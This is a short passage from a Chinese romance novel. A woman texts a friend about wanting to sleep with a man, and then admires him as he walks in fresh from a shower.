姜予彤:[什么事?] 简月:[睡他。] 简月:[毕竟他也算是个] 消息发到一半,门被敲响推开,刚刚洗完澡的男人出现在她面前。 他头发吹干了大半,软软地垂下来,身上是白T和黑色长裤,简单简洁,不像穿黑西装时那样成熟稳重不可接近。 柔软,干净,清爽,人夫感拉满。 怦然,心动。 她看着男人抿了下唇,用余光看向手机,将没打完的剩下半句发出去。 简月:[秀色可餐的男人。]